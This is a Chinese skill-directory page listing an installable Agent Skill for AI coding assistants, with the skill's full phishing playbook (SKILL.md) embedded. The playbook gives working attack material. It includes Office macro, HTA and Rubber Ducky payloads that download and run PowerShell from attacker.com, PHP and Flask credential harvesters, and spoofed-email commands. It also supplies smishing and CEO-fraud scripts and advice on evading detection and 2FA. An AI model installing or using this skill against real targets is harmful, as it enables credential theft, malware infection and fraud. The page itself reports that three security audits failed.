Token导航 LogoToken导航TokenDH.com
研究检索操作浏览器github未标认证来源可访问许可证需确认审计异常

performing-social-engineering进行社会工程

Agent Skill

performing-social-engineering 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

309

周安装

13

GitHub Stars

33

下载量

108
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-social-engineering(进行社会工程)
来源仓库:https://github.com/trilwu/secskills
仓库路径:skills/performing-social-engineering
安装命令:
npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering

简介

用于查找、检索和筛选相关信息。

  • 适合在 Codex、Claude、Cursor、Gemini CLI 中根据关键词或任务场景快速定位候选结果。
  • 可结合来源仓库、安装命令和原始 README 继续核验具体用法。
  • 安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。
  • 当前暂无详细功能说明,需进一步查阅原始 SKILL.md 获取操作细节。

SKILL.md

Performing Social Engineering

When to Use

  • Phishing campaign execution
  • Credential harvesting operations
  • Social engineering assessments
  • Red team engagements
  • Security awareness testing

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish Campaign Setup:

  1. Email Templates - Create convincing phishing emails
  2. Landing Pages - Clone legitimate sites for credential harvesting
  3. Sending Profiles - Configure SMTP server
  4. Groups - Import target user lists
  5. Campaign - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

Credential Harvester:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f ceo@company.com \
  -t target@company.com \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to target@company.com \
  --from ceo@company.com \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

Malicious Office Macros:

' Excel/Word VBA macro
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
End Sub

Malicious PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

Malicious HTA:

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

Simple PHP Harvester:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask Harvester:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

  • Services to spoof caller ID
  • Impersonate IT support, executives, vendors
  • Social engineering over phone

Common Pretexts:

  • IT support needing to verify credentials
  • HR department verifying personal information
  • Finance department confirming wire transfer
  • Vendor requiring payment information update

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

Ducky Script Example:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

Pretexts:

  • "Company Financial Data 2024"
  • "Salary Information - Confidential"
  • "Employee Bonuses Q4"
  • "IT Security Update - Required"

Payload Ideas:

  • Reverse shell
  • Credential stealer
  • Keylogger
  • Data exfiltration
  • Persistence mechanisms

QR Code Phishing

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

Watering Hole Attacks

  1. Identify target organization's commonly visited sites
  2. Compromise the website (or create lookalike)
  3. Inject malicious code (exploit or profiling)
  4. Wait for targets to visit and get compromised

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting

Fake Update Pages

<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

Pretexting Scenarios

IT Support:

  • "Hi, this is John from IT. We're doing routine password resets..."
  • "We've detected suspicious activity on your account..."
  • "Your VPN certificate is expiring, we need to update it..."

Executive Impersonation:

  • "This is [CEO name], I'm in a meeting and need you to..."
  • "Urgent: Wire transfer needed before end of day..."
  • "I'm traveling and can't access my account, can you help me..."

Vendor/Partner:

  • "This is accounting from [vendor]. We need to update payment information..."
  • "Your invoice is past due, please update billing details..."

Delivery/Shipping:

  • "Package delivery failed, verify address..."
  • "Customs clearance required, pay fee at..."

LinkedIn/Social Media Reconnaissance

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

Payload Delivery Methods

Links:

  • Shortened URLs (bit.ly, tinyurl)
  • Typosquatting domains
  • Homograph attacks (IDN homograph)
  • URL obfuscation

Attachments:

  • Office documents with macros (.docm,.xlsm)
  • PDFs with exploits/JavaScript
  • Compressed files (.zip,.rar)
  • ISO/IMG files
  • LNK files (shortcut tricks)

Advanced:

  • HTML smuggling
  • Polyglot files
  • Password-protected archives (bypass AV)
  • Signed malware (stolen/fake certificates)

Tracking and Reporting

Email Tracking:

<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

Link Tracking:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

Metrics to Track:

  • Emails sent
  • Emails opened (tracking pixel)
  • Links clicked
  • Credentials submitted
  • Attachments opened
  • Time to first click/submission

OpSec Considerations

Infrastructure:

  • Use disposable domains
  • HTTPS for credential harvesting
  • Legitimate SSL certificates (Let's Encrypt)
  • Categorize domains (submit to categorization services)
  • CDN for hosting (CloudFlare)

Email:

  • SPF/DKIM/DMARC alignment
  • Warm up email reputation
  • Similar but different domains (company.com vs company-portal.com)
  • Avoid spam trigger words

Detection Avoidance:

  • Realistic sender names and addresses
  • Professional email content
  • Avoid known malicious indicators
  • Time-based delivery (business hours)
  • Geofencing (target geography only)

Tools Summary

  • Gophish - Phishing campaign management
  • SET - Social Engineering Toolkit
  • BeEF - Browser exploitation
  • King Phisher - Phishing campaign toolkit
  • Evilginx2 - MITM phishing proxy (bypass 2FA)
  • Modlishka - Reverse proxy phishing
  • CredSniper - 2FA token capture
  • ShellPhish - Automated phishing

Defensive Awareness

Teach users to recognize:

  • Urgency/pressure tactics
  • Requests for credentials
  • Unusual senders
  • Suspicious links/attachments
  • Too-good-to-be-true offers
  • Requests to bypass security

Legal and Ethical Considerations

  • Always have written authorization
  • Define scope clearly
  • Protect harvested data
  • Follow ROE (Rules of Engagement)
  • Report findings responsibly
  • Delete data after engagement

References

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

37.32%
按下载量换算40

Claude

25.92%
按下载量换算28

Cursor

18.61%
按下载量换算20

Gemini CLI

9.08%
按下载量换算10

安全审计

Gen Agent Trust Hub

未通过

Socket

未通过

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills